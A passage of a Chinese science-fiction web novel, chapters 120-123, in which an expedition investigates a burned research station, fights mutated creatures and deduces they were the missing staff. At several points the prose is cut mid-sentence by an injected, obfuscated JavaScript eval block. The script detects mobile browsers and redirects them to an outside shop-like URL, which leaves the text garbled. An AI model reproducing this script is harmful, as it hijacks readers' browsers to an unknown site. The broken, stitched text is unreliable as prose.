中途在某个站点休整了十分钟，终于在监控里的画面都变成红外，简初才看见了一个遥远的小红点。 这一路上顺利得过分，不过这并不是坏事。简初动了动有些僵硬的肩膀，眼神锁定在显示屏中不断变大的N58站点，它的建筑上方好像有一个红色的指示灯在不停闪烁，在这昏暗的黄昏中仿佛一盏指路的明灯。 “快到了吗？”简初转头问自己旁边的傅燃。 原本正双手抱胸、阖眼小憩的人闻言睁开了眼，如她所愿瞧了瞧显示屏：“快到了，应该还有五……” 他突然坐直了身子，简初清楚地看到这人蹙紧眉头，微微眯起了眼。 这个指示灯，有些不对劲。 下一秒，快速前进的越野车突然一个急刹，车厢内的众人虽然系着安全带，但还是按照惯性往右侧倾去，简初伸手托住对面还在打瞌睡的莫景的脑袋，心下大感不妙。 “这是……这不是指示灯！”身边有人小声惊呼，随着这句话，监控屏幕里的红灯陡然高涨，变成一大团橙红的火焰。 “着火了？他们为什么没有向外求救？”林豹双问。 没有人回答她，身下的车重新启动，以更快的速度向N58站点接近，车厢壁的隔音一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就凭无人区几乎没有遮挡的开阔视野，简初怀疑其他站点可以直接看到这股黑烟。 不过让大家一直提着心的，还是那个问题。 直到现在，没有一个人从站点里出来。 “总不能都烧死在里面了吧？” “不可能，这火明显只烧到上面两层。” “这么小的站点怎么可能跑不出来！” “要我说，这么小的站点是怎么烧起来的，他们没有警报的吗？” 车厢内传来叽叽喳喳的讨论声，大家都抻着脖子，试图从大开的车厢门外接收到更多的信息。 没有了火焰的阻碍，简初的精神力顺利地钻进了建筑内部，不过很可惜，她并没有在里面看到任何代表生命体的光点，这时，她突然看见灰烬回头打了个手势，下一秒驾驶室的门就被打开，有人跳下了车。 车厢门前突然探出李瑞千的脑袋：“都下来帮忙吧。” 她的语气还算平静，但还是能从中听出一丝别样的情绪。 事情似乎变得有些棘手了。 120. 无人区（22） 一行人茫然地站在半截被烧黑的建筑面前，等待着因思禾下达指令。 明显是有人发觉了站点内部的情况，但至于是谁……简初的眼神四处转了转，最终落在了因思禾身上。 她此时正站在一群人中间说些什么，身边站着伊森·斯塔和傅遥，就连米勒尔也没能站在她身边。因思禾作为联研所精神力研究中心的负责人，精神力水平想必只高不低，能探测到站点内的情况实属正常，再联想到伊森在学院内的名声，简初猜这两人应该都发现N58里面没有活物了。 米勒尔看向伊森的眼神透着些许不友善，不过年轻人好像对此没什么反应，只是垂着眼皮听因思禾说话，应该是感受到简初的视线，他眼神不着痕迹地瞥了过来，很快又转开。 目前团队里有约三十人，尽管实际上并不需要这么多人帮忙，但大家的好奇心还是占了上风，纷纷走出车厢，跟着作战人员一起走进小楼检查情况，就算有胆子比较小的，也在结伴站在院子里四处张望。 “大家受累四处看看，如果有能用的物资都搬出来，早点处理完，我们早点出发去N62。”因思禾看大家都迅速动起来，转头便跟傅遥说话，“你们陪我去一下中控室和实验室，看看备份数据还在不在，杨树说连不上这边的内部信号，可能是被烧坏了。” “行，再带几个人去吧。”傅遥四处看了看，眼神突然闪动了两秒，朝简初招招手。 简初疑惑地歪歪脑袋，转过头看向身后的莫景，得到一个同样疑惑的眼神。 “简初，就是你，过来一下。”傅遥看她站在原地像根木头，终于没忍住开口喊了一声。 莫景皱皱眉，投来有些担忧的眼神。 “没事，你待在这。”简初拍拍她的肩膀，抬脚走到傅遥面前。 傅遥笑眯眯的：“我们要进去一趟，跟着一起吧，正好有些事想问问你。” 简初没有错过一旁因思禾有些奇怪的表情，好像傅遥的举动并不是两人商量好的，但她却并没有开口阻止的意思。 也没什么需要准备的，四个人就跟着前头清扫道路的小队走进了N58的小楼。 整个一楼看上去很整洁，并没有受到火灾的影响，前厅的值班室空无一人，但里面的东西收拾得很整齐，并没有任何人员慌乱之中留下的痕迹，不过门没有锁，一推开就看到整面漆黑的监控屏幕。 “监控打不开了。”傅遥上前摸索了两下，“应该是电源断了，不过备用电源为什么没有启动呢？” 循着她的目光看过去，备用电源的按键并没有被按下的痕迹，傅燃突然面无表情地走上前，伸手摸了摸能源箱：“还是热的，刚关不久。” 几人面面相觑，傅遥和傅燃不约而同抽出腰间的枪支——即便精神力扫描的结果是楼内空无一人，他们也必须要提防是不是有什么东西掩盖了自己行踪。 N58的建筑结构和之前的几个站点很不一样，它的小型实验室位于整栋楼的顶层，从外面看正是火势最旺的地方，整个一层和二层摸过去，众人并没有发现什么异常，但是没有发现工作人员某种程度也算是不同寻常了。 甚至所有设备都维持着在使用过程中突然中断的样子，和一楼尚还温热的能源箱倒是对上了。 看来应该是发生了能源异常中断，傅遥稍稍放心了一些。 傅燃走在最前方，伸手缓缓推开了三楼的金属大门，随着门打开，上方有黑灰簌簌落下，出于谨慎，他迅速缩回手躲开了这些成分不明的黑灰。 大门沿着惯性缓慢打开，焦黑的走廊出现在众人眼前。 太奇怪了。 看见走廊的第一眼，简初下意识皱了皱眉头。 从他们看见N58，直到火焰熄灭，中间最多不过五分钟的时间，但眼前的走廊完全变成了一片焦土，原本洁白的墙壁此时好想被关闭了图层一样，变成黑洞一般，甚至叫人看不清烧焦的纹理。 但这些都可以解释，最离奇的是整个走廊烧得太均匀了，一眼看去找不到明显的着火点，好像整层楼都被放进烤箱均匀烤制一样。 简初搓了搓手指，想起自己的异能。 如果把“引燃物”撒在每个角落，是不是也能实现这样的效果？ 正当她这么想着，那边作战人员已经四散开来，搜寻有无工作人员尸体的踪迹，不过很快，他们就得到了一个不太美妙的结果——整个三楼没有一具人类尸体。 N58的工作人员人间蒸发了。 “会不会是异种……”傅遥言尽于此，但她的意思大家都明白，很多异种是会捕猎人类的。 “异种也能使用这种异能吗？”简初指了指周围焦黑的环境。 “虽然很少，但也有的，属于是异种中的能力异化。”傅遥小声解释，“其他地方一般遇不到，但无人区生活了很多异种，就不奇怪了。” 因思禾头疼得很：“赶紧看看备份数据。” 无人区的研究数据很重要，尽管每个站点会定期将数据传到无人区研究所，但中间毕竟还是会存在时间差，根据杨树所长的说法，这里应该存储了大概一周的数据，尚未上传到研究所的数据库中。 “也许能找到火灾发生的原因？”因思禾说。 从现在的现场看来，火势明显是从三楼开始的，二楼只是外围墙壁被烧黑了，内部的空间完好无损。 N50开始的站点是会对异种的尸体进行研究的，不过这间实验室里异种尸体的数量有些超出他们的预计，简初大概数了一下，能看出形状的大概有六具，基本占据了一大半的实验室空间。 因为这里几乎被烧干净了，所以异种的尸体都乱七八糟地掉在地上，满地都是碎玻璃渣子和被融化的工具，设备看上去也不像还能用的样子。 除了最初来到这个世界时与异种亲密接触过，简初之后接触的都是乌托邦的虚拟异种，这一下看见这么多，还是不禁精神一振。 星际联邦真是个危险的地方啊。 “我去查看一下系统，你们……稍微检查一下吧。”因思禾面不改色，带上手套直接开始操作系统。 听到这话，简初心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14044298|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下暗喜，正想趁着这个机会四处打探一番，谁知还没来得及迈开步子，就被人抓住了手臂。 “你去那边，她跟我一起。”傅遥笑眯眯地指挥道，见傅燃不为所动，甚至伸手像赶苍蝇一样挥了挥。 一时间简初也摸不清她的目的，只能沉默地被傅遥拖走，她们之间并没有什么交集，简初也很确定自己并未暴露什么秘密。 傅遥自以为看出了简初的心思，毕竟还是在念书的学生，有些紧张是正常的。 “不要紧张，就是想跟聊聊，我看你在学校成绩还可以？”其实傅遥自己也不太擅长和学生交流，只能努力思考自己当年上学时的样子，试图从学习成绩方面拉近距离。 既然因思禾说这孩子能力不错，那应该成绩也很好，大概率不会太反感提到这个话题。 自以为找到正确聊天话题的傅遥暗自点点头，满怀期待地看向简初，似乎在期待她能说些什么。 简初眨眨眼：“一般。” 安静的空气仿佛给了傅遥一记头槌，让她有些头晕眼花。 “呃……这样吗？”傅遥尴尬地咳嗽了一声，见对方没什么特别的反应，决定也不再绕弯子了，“你之前不是帮莫景做过精神疏导，我想问问你有空能不能搭把手，因为这次行动的医疗人员比较紧缺，能做精神疏导的只有两人，现在这个情况你也明白，到了后期肯定是忙不过来。” 简初倒是没想到对方是为了说这个，更没想到的是傅遥的态度相当客气，一点都没有架子。 但就算如此，简初也不可能一口答应下来，她有些为难地皱皱眉：“傅队长，我毕竟还是在校学生，贸然给大家做精神疏导，一个是怕添麻烦，另一个……大家估计也不会放心给我做的。” “嗨，能有什么不放心的。”傅遥看上去很随意，不过实际上并非如此，“当然在学校应该没有这么多实操机会，不过这边医生们可以指导你，实在不行……先试着做一下检查？” 傅遥明显不想轻易放弃，这让简初有些头疼：“我做过精神疏导的人一只手都数的过来，实在是……呃” 傅遥突然猛地拍了拍简初的肩膀，让她没说完的话变成一串泡泡从喉间吐了出来。 “那经验很充足嘛！不要推辞了，我们需要你的帮助。”傅遥突然开始棒读，也不知道是从哪学来的套话，不过这下简初也算是看出来，对方根本没有给她拒绝的选项。 傅遥满意地笑了笑，只当简初在谦虚：“回头安排他们去找你做检查，精神疏导嘛……你实在觉得自己手生就先等等，之后熟练了再做。” 简初：…… 就是说，她怎么可能突然就熟练起来。 这个话题结束，傅遥就没有继续聊天的意思了，看上去她的行事作风都比较直接，没有那么多弯弯绕绕，简初还是挺喜欢和这类人交流的。 另一边傅燃正好好地检查异种尸体，抬头就看到自家姑姑笑呵呵地走过来，朝他眨眨眼，又拍了拍肩膀，但一句话没说就跟因思禾嘀嘀咕咕去了。 这又是什么毛病？ 121. 无人区（23） 检查完整个N58站点，最终都没有发现工作人员的踪迹，几个异种的尸体也没有什么异常，连肌肉都几乎碳化，内脏已经烤熟，散发出一阵阵腥臭的气味，不见一丝血迹。 联研所的几个研究员正在对尸体进行取样，就算名义上这并不是他们该管的事，但来都来了，在可行的范围内帮点忙也是应该的，再者，其中可能也有他们需要的信息，毕竟要在无人区待上一个月，发生什么意外都有可能。 “样本带到N62之后尽快进行分析，幸好备份数据还完好，可惜有加密锁。”因思禾摇摇头，她现在去找杨树要密码也不合适，还是之后直接交给他们的工作人员吧。 傅遥将研究员们提取的样本收集起来，放进特制的储藏箱：“这两天的意外都很反常，我们得提高警觉。” 无人区研究所设立以来的十数年，从未出现过如此骇人听闻的事故，如果站点工作人员葬身火海，还勉强可以用失火来解释，但现在不管是离奇的火灾现场，还是人间蒸发的工作人员，都很难用常理来解释，再加上之前在启明星遭遇的袭击…… “也许无人区内部真的出了问题。”因思禾摘下手套，“但这样的话，我们必须继续往前，如果放任不管，未来也许会带来更大的灾祸。” 无人区腹地的变故远远超出想象，已经不仅仅是辐射值快速升高的问题了，因思禾深吸了一口气：“时间不多了，我们得赶紧出发，这边的残局杨树会派人来收拾。” 简初跟着傅燃在走廊里四处检查，顺便偷偷学习了一下特战中心的检验流程和技巧，原以为这位“灰烬”会让她离开，但对方最终还是默认了她跟在旁边“学习”。 回到前厅时，大部分人已经在这里等候，研究员们十分担忧地凑在一起窃窃私语，N58里的情况大家都看在眼里，所有人都后背发凉，讨论是什么样的异种才会造成这样的惨剧。 N58站点的物资被众人全部都放进车里，简初莫景还是老样子坐在最外侧，此时两人正揣着手看着大家排队上车——莫景以前并没有揣手的习惯，实在是因为这里太冷，便向简初学习了这个动作。 阳光已经完全消失，站点一片漆黑，车灯成为了这里唯一的光源，风的温度迅速下降，吹得简初后背寒毛直竖。 “她会给医生们帮忙，你有空找她试试检查一下。”傅遥找了个机会，跟落单的傅燃说起了悄悄话。 “不行，这种事能随便做吗？”傅燃直接拒绝。 傅遥有些无法理解：“没让你做什么，就检查一下。” “我不去。”傅燃扭过头，“……我不相信外人，等任务结束之后我会回协会检查的。” 他说这话时视线有些游离，但天色太暗，傅遥并没有看清他的表情，否则一眼就能看出这人在撒谎。 “试试而已！”傅遥恼了。 “不行！我自己有数。”傅燃又变成了锯嘴葫芦，不管怎么样都不再多说一个字。 还没上车的人越来越少，简初看见傅遥气呼呼地钻进驾驶控制室，其实她看不清对方的表情，但这“咚咚咚”的脚步声实在引人注意。 有冷风从简初背后吹过来，她有些不安地靠近车厢，推了推莫景示意她先上车，简初侧头看了眼杵在旁边的人，对方似乎有意躲避她的视线，只是垂着眼给她按住按着车门。 这人怎么有些怪怪的。 简初收回眼神，一脚跨进车厢，却突然被余光中的亮点晃了下眼睛。 三楼的窗户后面有什么发出悚然的冷光，下一秒，窗户骤然炸裂，巨大的声响吸引了所有人的视线。 傅燃此刻正背对着小楼，警惕来自无人区内部的危险，但没曾想身后原本确认安全的建筑陡然生变。 五十米的距离对于异能者来说不过是几秒钟的事，对于其他东西来说也是。 “让开！” 傅燃看到对面的黎取表情惊恐，周遭的场景都变成了慢放，他伸手摸向腰间的短刀，却摸了个空，等他退而求其次掏出枪支，已经来不及了。 呼啸的风声几近他的后脑，他动了动手指，即将启用异能。 “铛！” 金属碰撞的刺耳巨响在他耳边炸开，几乎是同一时间，傅燃感受到有人攥住了他的衣领，不容拒绝地拉低他的脑袋，傅燃下意识想要反击，却在看清那只手的主人时陡然卸力。 简初反握住短刀，在千钧一发之际接住了突如其来的攻击。 在其他人眼中，是这把短刀架住了异种的攻击，但实际上小触手的虚影早已盘旋在侧，紧紧拧住从窗口伸出的钢鞭。 看着几乎被人半搂在怀里的傅燃，黎取的表情出现瞬间的扭曲，但在他的极力控制下，最终没有发出笑声。 双方僵持不下，简初咬牙拧转手腕，在小触手的帮助下击退了那根奇长的钢鞭，看着它以极快的速度缩回了窗口。下一秒，傅燃愣愣地从简初的肩膀上抬起头，对上简初紧蹙的眉头。 “你没事吧？”简初问。 傅燃如梦初醒，猛然向后退了一步，但他的衣领被人抓得皱皱巴巴，看上去竟有几分我见犹怜。 “刀还给……”你 还没等简初说完，傅燃一把夺过刀柄，扭头就往N58里跑，周围几人紧随其后，原本已经上车的作战人员们也迅速跳下车，将整栋楼团团围住。 因思禾瞬间做出决断：“处理干净，今夜我们驻扎N58。” 简初就这么站在越野车的旁边，抬头看向面前的小楼，不知何时，原本已经确定没有活物的站点内突然出现了两个精神力光点。 灿金色的小触手从简初的上方飞射而出，穿过破碎的三楼窄窗钻进了小楼里，精神力视野里，方才跑进楼内的几个作战人员已经和楼内的两个光点碰上，并展开了第一次交锋。 激烈的枪声传来，简初眼神闪了闪，一个念头从她的脑海里划过，下一秒，就看到三楼窄窗连带着周围的墙壁轰然破碎，一只焦黑的异种以相当反科学的角度和造型飞出，傅燃扒着窗户紧随其后一跃而下，手心的短刀被车灯照出一圈明亮的弧光。 “唰！” 锋锐的短刀如同切豆腐一样刺入异种的胸口，但傅燃却皱了皱眉。 这手感有些不对？ 有什么擦着他的手背溜走，傅燃下意识反手一捞，却只摸到一片空气，没有人看见迅速窜回简初身边的小触手正在用它圆乎乎的尖端拍了拍自己的肢体。 呼，差点被抓到。 简初也不禁松了口气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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既然决定今夜不再赶路，众人也纷纷下车，但毕竟不是每个人都见过异种，所以大多数人都在车厢旁犹豫，不想往站点内走。 那只异种的尸体还需要研究，几个作战人员借着站点内的担架勉强把它全须全尾地抬进了前厅，原本还算整齐干净的地板顿时布满黑色脚印，哪怕再不情愿，所有人还是挤进了站点。 不管怎么样，还是和作战人员待在一个空间会比较有安全感。 “你身手还可以啊。”简初一扭头，就看到林豹双正朝她微笑，不过这笑容背后的含义有些不同寻常，莫景没有说话，但看向林豹双的眼神变得不太友好。 简初仿佛没有读懂她的意思，一脸坦然地点点头：“还可以，我朋友教的。” 林豹双：…… 正在两人之间的氛围变得有些微妙时，有人突然插了一脚。 “刚才谢谢你。”傅燃把手里的短刀擦干净，插回了腰间的刀鞘里，“不过以后别做这么危险的事了，我自己可以的。” 简初没想到他特地来道谢，依旧用那张无比坦然的脸看他：“不客气。” 她不想多聊，便和莫景走到一边，看上去要说什么话。 “你怎么回事，被异种夺舍了？”林豹双没好气。 傅燃诡异地沉默两秒：“她这招……算是我教的。” 林豹双愣了愣，好半晌才反应过来他在说什么，顿时感觉到自己刚刚的警觉就像在演一出喜剧。 “你们……别把我当猴子耍啊！混蛋！” 122. 无人区（24） 一小时后。 李瑞千终于把所有人的房间安排好，忍不住长叹了一口气，来到三楼实验室寻找因思禾。 如果可以选，她自己也不想住在离三楼楼梯口太近的地方，光是火灾现场看着就让人发怵，更别提还有这些异种尸体，不少人平时也会接触这些，但六具异种尸体还是有些太超过了，不过她记得那个中途加入的小姑娘看上去胆色不错，没有露出明显的恐慌。 果然是后浪推前浪，她上学的时候可做不到这种地步。 此时，“后浪”正板着脸从异种的身上掰了一块组织，在手里搓成了灰。 当然，是带了手套的。 “咳咳！咳咳咳咳！”那边的程源都快把肺咳出来了，也没换来简初一点眼神，至于想要阻止她随意动手就更无从谈起了。 因思禾倒是没在意她的动作，一来这么大块的尸体够研究了，二来还在上学的孩子也许能从不同的视角发现些什么，三来……最次就当给她学习了。 这方面因思禾倒是看得很开，她见简初看得入神，甚至还来到对方身边，跟她一起端详地上的异种。 “有什么发现吗？”她突然开口。 “……”简初瞥了她一眼，慢吞吞回答，“暂时没有。” “不过……” 在因思禾耸耸肩正要走开的时候，又听见简初慢吞吞拉着长音，颇有些吊人胃口的意思。 简初伸手朝她招招，因思禾有些失笑，但还是很给面子地蹲到了她旁边，两个人年纪差得不少，此时却都像好奇宝宝一样凑在一起，看着脚边的尸体。 “咔嚓”一声，简初脆生生地从异种的腹部，或者说看上去应该是腹部的位置，扣下一小块组织，随后用和刚才一样的手法碾碎，再跟另一只手放在一起。 “这是？”掌心的两块东西实在是太小了，边缘还被烧得黑乎乎，饶是视力尚可，因思禾也得凑近才能看清，“有点眼熟？” 她下意识抬头看向简初，却对上一双黑沉沉的、似笑非笑的眼眸，简初朝她努努嘴，抬抬下巴作为提示。 ！ 电光石火间，一道闪光照亮了因思禾混沌的大脑，她匆匆拔下手套，从外套内兜里掏出一张卡片。 研究所的站点通行卡，蓝色的卡面和简初手里融化变形的那一小块几乎是同样的材质。 简初张了张嘴想要说什么，却被因思禾猛然抓住胳膊阻止了。 “先等等。” 几秒后，两人若无其事地撑着膝盖站起身，仿佛心照不宣的一左一右走开，开始检查其他的异种。 “她们俩在搞什么？”傅遥看出两人之间的气氛有些不对，伸出胳膊怼了怼旁边同样在警戒的傅燃，但年轻人不但没有吱声，甚至还往旁边跨了半步，跟她拉开距离。 傅遥：……？什么毛病？ 时间慢慢过去，在场的研究员都开始打起哈欠，就连程源和米勒尔也面露疲态——他们本不需要留在这里，但为了能拿到第一手信息不得不一直陪到现在，程源作为研究员，至少也能看明白一些，米勒尔在这就全是在枯等了。 林颀摘下手套，走到他旁边：“先生，这里没什么有价值的发现，还是得看实验检测结果，您先去休息吧。” 见米勒尔面露犹豫，他继续说：“有发现我会请崔斯特喊您来的。” 如此，米勒尔才终于点点头，沉默地带着崔斯特离开了实验室，他一走，程源似乎也找到了“榜样”，嘴里念叨着“实在太累了，大家也早点休息”，就跟着离开了。 他们一走，整个实验室顿时空了不少，不过空气里的焦味却变得更重了。 因思禾对他们的离去毫不关心，这是专注着收集所有看上去类似通行卡材质的碎片，很快掌心的碎片已经攒了一小堆，看上去至少也能有一张卡的体积了。 “大家早些回去休息吧，明天我们得早些启程，到时候还得辛苦诸位检测一下这些样本。”因思禾突然开口，众人有些意外，但并不会拒绝能够早点休息的允许。 “简初，林颀，你们也先回去吧。” 简初无所谓地耸耸肩，摘下手套扔进门口的垃圾桶里，潇洒地离开了实验室，而另一个被点到名字的人则是落后了一步，看上去不是很愿意就此离场。 但因思禾的命令容不得他拒绝。 “你心态倒是好。”林颀在后面不阴不阳地说了一句，简初脚步顿了顿，转头看向他，突然说了句风马牛不相及的话。 “你叫林颀？和那个林愿是亲兄妹吗？” 两人的年龄从外表可以明显区分，相似的脸庞与五官很难让人不往这个方向联想，不过林颀的反应并不像开心的样子。 他用鼻腔哼了一口气：“怪不得被过河拆桥，原来是个没眼色的蠢货。” 简初眯了眯眼，看着他板着张脸从她身旁经过。 “你妹妹可比你强多了。” 莫名其妙的一句话让林颀豁然回头，他的表情愤怒，又夹杂着刚刚的不屑，看上去有几分滑稽。 简初朝他露出一个无辜的笑容，经过他身边时回敬了一个同样的冷哼，她迤迤然走下楼梯，末了还冲握紧双拳的林颀挥手再见。 “砰！” 听见楼下传来沉闷的砸墙声，简初扯了扯嘴角。 就这点心理素质还来惹她。 林颀收回手，冷着脸擦掉破皮的骨节上溢出的血液，刚走出两步就听见有人从一楼来了，很快，那张令他厌恶的脸出现在了视线中。 对方没有开口，他也不想多说，脚下加快速度就打算离开。 “米勒尔说，让你暂时别招惹她。”林愿干巴巴开口。 林颀愤怒转身：“你也配来管我！” “我不管。”年轻女子还是那副平静无波的语调，“是米勒尔在管你，话带到，我走了。” 看着对方毫不犹豫地转头离开，林颀感觉到自己的血压都快爆了。 冷静一点，不要管她，做你该做的事。 一番自我劝解之后，林颀终于拖着沉重的步伐，离开了楼梯间。 …… 夜半时分，简初仰躺在床上，睁大眼睛思考之前发生的一切。 同样的防护光栅，同样的呼吸窗，同样的五光十色，很容易让人产生错觉。 莫景和林豹双也不知道睡了没有，总之房间里并没有明显的呼吸声，不过也没有人开口说话。 简初脑海里再次闪过那只异种偷袭的画面，各种细节仿佛电影胶片一样在她脑海里闪现，最终变成那个年轻人几乎贴在自己面前，微微睁大的双眼。 也许是她的错觉，总觉得对方的眼神掺杂着一些别的东西，但那不是惊讶之类的，符合当时场景的情绪。 简初翻了个身，把这双眼睛从脑海里抹去，重新回想起从异种尸体身上找出的通行卡碎片。 那些碎片出现在异种的身体里，几乎可以表明那两个失踪的工作人员是被异种吞食了，如果能知道这个站点原本有几具异种尸体，就能验证这个猜测了。 简初舔舔唇，总感觉自己漏掉了什么细节。 如果是异种猎杀了工作人员，那火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14068151|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灾该怎么解释，难道异种放了一把火还不小心把自己烧死了？又或者是异种袭击了实验室，工作人员开启了喷火枪之类的防御武器，虽然没能阻止异种痛下杀手，但最终也要了它们的性命。 可异种总不会是大摇大摆从门口走进去的，但如果留下了闯入的痕迹，作战人员们第一次检查时绝对不会轻易放过。 至少从她的观察来看，除了方才窗口被破坏，其他地方虽然烧焦，但并没有明显的入侵痕迹。 真是费劲。 简初伸手揉了揉额角，再一次想起了从异种身上发现的通行卡碎片，它们不禁碎成小块，还被火焰融化，如果不是因为她手里有一张材质相同的通行卡，可能还无法分辨那究竟是什么…… 等等！ 简初猛然从床上坐起，下意识摸了摸自己的腹部。 她发现碎片的地方太接近表皮了，如果通行卡被异种咬碎一起吞进胃里，那应当在更深的地方才能发现，最重要的是—— 内脏的温度不足以让碎片融化！ 简初只觉得头皮发麻，脑海中再次浮现那只旅店遇到的“仙人掌”……那两只异种，不会就是N58的工作人员吧？！ 想到这里，简初本就不多的睡意更是全无，大脑极其兴奋。 要不，出去问问情况？ “噔噔噔！” “刚刚进入无人区的你已经见识到了它的危险，这里的威胁并不是只有异种，因为某些人的一己私欲，你成为了***的目标，为了生存，你们只能走向必然的对立。” “任务目标：探索无人区的秘密并***。” “重要说明：愿你举刀的手永远果决。” 久违的打码象征着未知的危险，却也坚定了简初的决心，她不是犹豫的性格，借着防护光栅的彩光，简初起身随手套上外套。 “你要做什么？”昏暗处传来林豹双的询问。 “有点事情，我要去找因博士，你们先睡吧。”简初自觉没有做什么坏事，便直截了当地说了。 “我送你去。”林豹双迅速从床上翻身，“莫景也一起吧，让你们落单我总有些不放心，把你送到我们就回来，到时候你让因博士安排人送你回来。” 简初低声应了一句，算是接受了对方的好意，不管对方是出于监视或是保护，话说到这个份上，她也没有拒绝的理由。 站点很小，三个人仿佛深夜鬼影匆匆来到三楼，果不其然，实验室里仍然有人，林豹双见状冲简初点点头，莫景又叮嘱了几句，也知道自己留在这并没有什么帮助，便跟着林豹双离开了。 实验室里的人早就注意到外面的动静，简初还没来得及敲门，傅燃就打开了门，尽管一直没有休息，但他的眼神依然一片清明，看来早已习惯这样紧张的作息安排。 “怎么没睡？”他问。 简初摇摇头：“想了点事情，睡不着，来找因博士。” “怎么了？让她过来吧。”里头传来因思禾的声音，简初抬头瞧着面亲的年轻人露出有些不满的表情，但他最终还是侧身让开了位置。 他在不满什么？对她吗？ 简初没有细想，抬脚就往里面走。 “有什么事吗？”因思禾对她展现出了超乎寻常的耐心。 整间实验室如今只有这三人，想必在这次的行动中他们扮演了相当重要的角色。 “想到了一些事，所以来验证一下。” 因思禾用奇异的眼神上下看了她两遍，才轻笑了一声缓缓朝傅遥开口：“看，我就说有人会发现异常的。” 123. 无人区（25） “你发现那两只异种是怎么回事了？” 听见这句话，简初没忍住笑了一声，但她的笑声似乎戳到了因思禾的点，让对方也露出笑容。 因思禾笑着耸耸肩：“好吧，是我的问题太蠢了，所以你发现了什么，说说看？” “融化的通行卡。” 聪明人的交流从来都是点到为止，因为这些信息已经足够说明问题了。 “你比我想象的要更聪明，考虑来我的实验室实习吗？”突然转变的话题不光是简初，就连另外两个看热闹的人都没有反应过来，因思禾好像很满意这样的“恶作剧”，眯着眼睛点了点头。 “虽然目前没有证据，但我也认为这两只异种就是N58站点原本的工作人员。”她伸手指了指其中一局尸体，“它们使用的异能和工作人员是一致的，这可真是糟糕。” 整个联邦的人类变异案例都十分罕见，至今没有任何研究成果来证实是什么因素造成了这样的变化。 “等到了N62之后化验一下样本，我们就能确定这个猜想了。” 话虽如此，但这两个异种曾经是站点工作人员的事实已经几乎没有转圜的余地了。 “难道是实验中发生了基因污染吗？”简初问。 显然，异种实验过程中的基因污染并不会在如此短的时间内，将一个完全的正常人变成真正的异种。 “亲爱的，不要问这么小白的问题，否则我会考虑刚刚一时脑热给出的实习邀请。”因思禾看上去很有兴致，傅遥鲜少见到她这副模样。 “现在我也不知道为什么会这样，联邦也没有研究先例，不过也许不久之后，你可以在我的实验室里见到它们。” 简初觑了眼沉默不语的傅遥，此前南芒区旅店发现的那只异种也是由人变成的，特战中心肯定知道这件事，说不定那只“仙人掌”已经被他们做成切片，反复研究了。 “好吧，我只担心自己会不会莫名其妙变成这样。”简初耸耸肩，“应该是不会的吧？” “那当然不会。”因思禾摇摇头，“不过以目前的研究结果来看，他们本来也不会。” 简初脸上明显的无语让因思禾觉得很可爱，她轻笑了两声，才托着下巴开口：“如果我能给你一个确切的答案，那不就是打自己的脸吗，毕竟一分钟之前我还说‘不知道他们为什么会变成这样’，嗯？” “你说了算。”简初摊手，本来也没寄希望于能套出什么话来，“那你们早点休息，我先撤了。” 她伸出两只手指，做出小人逃跑的样子，又逗笑了因思禾。 “这小孩有点意思。”看着傅燃跟着简初离开实验室，因思禾忍不住叹了一口气，“感觉自己也变得充满活力了呢！” …… 第二天，防护光栅刚撤下，众人就争分夺秒乘上了越野。 他们现在的位置几乎已经是无人区探索的最深处，阳光以相当离谱的速度照亮地表的沙砾岩石，车刚刚开出去二十来分钟，原本还有些昏暗的天色就已经变得十分明亮，甚至依稀能看见空气被蒸腾出波纹。 车厢里的空气也开始灼热，简初深吸了两口气，就听见周围人的呼吸也变得粗重，其中普通人的脸色都已经变得或通红或苍白，汗水顺着鬓角往下流，简初闭上眼想靠在车厢上休息，却发现身后的车厢已经变得滚烫。 车里的人太多了，所以制冷效果很有限。 傅燃垂着眼皮看了她一眼，默不作声地把自己手边的外套递过去。 昨夜送简初回房间的路上，他每每想要开口说些什么，就被简初困倦的表情堵回嗓子里，直到最后，她才囫囵塞过来一句“晚安”，让傅燃回去之后思考了半天，是不是对方不愿意跟他交流。 也许是之前几次交流，自己的语气太过生硬，得改改。 简初犹豫片刻，双手合十表示感谢，才接过对方的外套垫在背后，美滋滋地靠在车厢上闭目养神。 旁边的黎取和林豹双偷看得津津有味，两人的眉眼官司自然没有逃过傅燃的眼睛，但他也懒得解释，在这里的如果是秦理或者左虞珩，他也同样会照顾他们的。 靠着老祖宗那句“心静自然凉”，简初几乎靠“入定”度过了整段车程，N62站点的三名异能者早已等候在此地，出于行动保密的考虑，他们将在交接后暂时撤离N62站点。 这种事情知道的越少越好，介入太多保不准会被薅去当苦力。 